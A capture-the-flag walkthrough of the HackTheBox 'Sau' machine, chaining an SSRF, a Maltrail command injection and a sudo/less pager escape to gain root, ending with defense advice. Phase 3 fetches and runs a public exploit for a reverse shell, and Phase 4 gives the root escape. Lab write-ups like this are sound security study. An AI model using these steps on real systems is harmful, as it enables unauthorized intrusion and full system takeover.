HackTheBox Sau Walkthrough: Chaining SSRF, Command Injection, and Sudo Misconfiguration to Root

Introduction

Sau is an Easy-rated Linux machine on HackTheBox that provides an excellent demonstration of how multiple vulnerabilities, each seemingly limited in scope, can be chained together to achieve full system compromise. The attack path involves exploiting a Server-Side Request Forgery (SSRF) vulnerability in Request Baskets (CVE-2023–27163) to reach a firewalled internal service, leveraging an unauthenticated OS command injection in Maltrail v0.53 to gain an initial foothold, and finally escalating privileges through a sudo misconfiguration combined with a Less pager escape (CVE-2023–26604).

Machine Overview

  • Name: Sau
  • Difficulty: Easy
  • OS: Linux
  • Key Vulnerabilities: CVE-2023–27163 (SSRF), Maltrail v0.53 RCE, CVE-2023–26604 (sudo privilege escalation)

Attack Chain Summary

Port Scan → Request Baskets v1.2.1 on port 55555
  → SSRF to access firewalled port 80 → Maltrail v0.53
    → Unauthenticated Command Injection → Reverse Shell as puma
      → sudo + Less Pager Escape → root

Phase 1: Enumeration

Port Scanning

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.224 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.224

Results:

PortStateService22/tcpopenOpenSSH80/tcpfilteredHTTP8338/tcpfilteredunknown55555/tcpopenHTTP

Two ports are filtered, meaning firewall rules are dropping inbound packets to those ports. However, the services behind them are still running and accessible from within the machine. Port 55555 is our entry point.

Web Enumeration

Browsing to http://10.10.11.224:55555 reveals a Request Baskets instance. The footer shows Version: 1.2.1.

Request Baskets is a web service that collects and inspects HTTP requests. It allows users to create temporary URL endpoints (baskets) and optionally forward incoming requests to a configurable URL. This forwarding feature is where the vulnerability lies.

Searching for known vulnerabilities reveals CVE-2023–27163: an SSRF vulnerability in the /api/baskets/{name} component.

Phase 2: Exploiting SSRF (CVE-2023–27163)

Vulnerability Analysis

The root cause of CVE-2023–27163 is that Request Baskets v1.2.1 performs no validation on the Forward URL parameter. Users can set it to internal addresses such as http://127.0.0.1, http://localhost, or private IP ranges. The server then makes requests to these addresses on behalf of the user.

When the server accesses http://127.0.0.1:80, the traffic travels through the loopback interface, bypassing the firewall rules that filter external traffic to port 80. This is the fundamental mechanism that makes SSRF dangerous in environments with firewalled internal services.

Verification

To confirm the vulnerability, I set up a Netcat listener on my machine:

nc -lnvp 80

Then I created a basket with the Forward URL set to my IP address and triggered a request:

curl http://10.10.11.224:55555/2ck6d27

The Netcat listener received a connection from 10.10.11.224, confirming that the server is indeed making requests to the specified Forward URL. SSRF confirmed.

Accessing the Internal Service

I reconfigured the basket:

  • Forward URL: http://127.0.0.1:80
  • Proxy Response: enabled — passes the internal service's response back to the client
  • Expand Forward Path: enabled — appends path segments from the basket URL to the Forward URL (e.g., /basket-id/login forwards to http://127.0.0.1:80/login)

Browsing to http://10.10.11.224:55555/2ck6d27 now displays the content served by port 80: a Maltrail v0.53 instance.

Maltrail is a malicious traffic detection system. Searching for Maltrail v0.53 exploit reveals an unauthenticated OS command injection vulnerability in the login endpoint.

Phase 3: Command Injection and Reverse Shell

Vulnerability Analysis

The vulnerability exists in Maltrail's /login endpoint. When processing POST requests, the username parameter is directly interpolated into a shell command via Python's subprocess.check_output() with shell=True:

subprocess.check_output(
    "echo '{}' >> /tmp/maltrail.log".format(username),
    shell=True
)

This code executes before any authentication check, making it exploitable without valid credentials. An attacker can break out of the single quotes, inject arbitrary commands using a semicolon as a delimiter, and comment out trailing syntax with #.

Exploitation

I started a Netcat listener to catch the reverse shell:

nc -lnvp 4444

Then ran the public exploit (EDB-ID: 51676):

curl -s https://www.exploit-db.com/download/51676 > exploit.py
python3 exploit.py 10.10.14.6 4444 http://10.10.11.224:55555/2ck6d27

The exploit constructs a Python reverse shell payload, Base64-encodes it to avoid special character issues across multiple parsing layers (HTTP, shell, Python), and sends it via curl as the username parameter in a POST request to the basket's /login path.

The request flows through: curl → Request Baskets (SSRF forward) → Maltrail /login → shell command execution → reverse shell to attacker.

I received a shell as user puma. After upgrading to a fully interactive TTY:

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
# Enter x2

User flag obtained from /home/puma/user.txt.

Phase 4: Privilege Escalation (CVE-2023–26604)

Discovering the Vector

sudo -l

Output:

(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

The user puma can run systemctl status trail.service as root without a password.

systemctl --version

Output: systemd 245 — below version 247.

Vulnerability Analysis

This privilege escalation exploits the intersection of three facts:

  1. sudo grants root execution: The systemctl process runs with root privileges.
  2. systemctl invokes the Less pager: When the output of systemctl status exceeds the terminal height, systemctl automatically pipes the output through Less for paginated viewing. As a child process of systemctl, Less inherits root privileges.
  3. Less allows command execution: Typing !command in Less suspends the pager and executes the specified command. Since Less runs as root, the spawned command also runs as root.

CVE-2023–26604 documents that systemd versions below 247 do not set the LESSSECURE=1 environment variable before invoking the pager. When LESSSECURE=1 is set, Less disables dangerous features including the ! command. Version 245 lacks this protection.

The privilege inheritance chain: sudo → systemctl (root) → less (root) → /bin/bash (root)

Exploitation

sudo /usr/bin/systemctl status trail.service

The output triggers the Less pager. In the Less interface, I typed:

!/bin/bash

Root shell obtained.

id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt

Key Takeaways

1. Vulnerability Chaining

This machine demonstrates that real-world compromise often requires chaining multiple vulnerabilities. The SSRF alone doesn't give code execution. The command injection alone is unreachable from the outside. The sudo misconfiguration alone requires a local shell. Only when combined do they form a complete attack path from external attacker to root.

2. Version Numbers Matter

Both the initial foothold (Request Baskets 1.2.1) and the privilege escalation (systemd 245) were identified by checking version numbers and searching for known CVEs. In penetration testing, always check footers, HTTP headers, and command outputs for version information.

3. SSRF as a Gateway

SSRF is often underestimated because it doesn't directly provide code execution. However, as demonstrated here, it can serve as a gateway to reach otherwise inaccessible internal services that may have their own exploitable vulnerabilities. Any feature that allows users to specify URLs and triggers server-side requests is a potential SSRF attack surface.

4. GTFOBins Awareness

When sudo -l reveals any allowed command, always check GTFOBins for known escape techniques. Many common Linux utilities — less, vim, man, find, awk, python, and others — can be leveraged for privilege escalation when run with elevated permissions.

5. Defense Recommendations

  • For SSRF: Validate and restrict Forward URL targets. Implement allowlists. Block requests to loopback addresses, private IP ranges, and cloud metadata endpoints.
  • For Command Injection: Never pass user input to shell commands. Use parameterized execution (e.g., subprocess.run() with shell=False and argument lists).
  • For sudo misconfigurations: Apply the principle of least privilege. Avoid granting sudo access to commands that invoke pagers or editors. Upgrade systemd to version 247+ or set LESSSECURE=1 globally.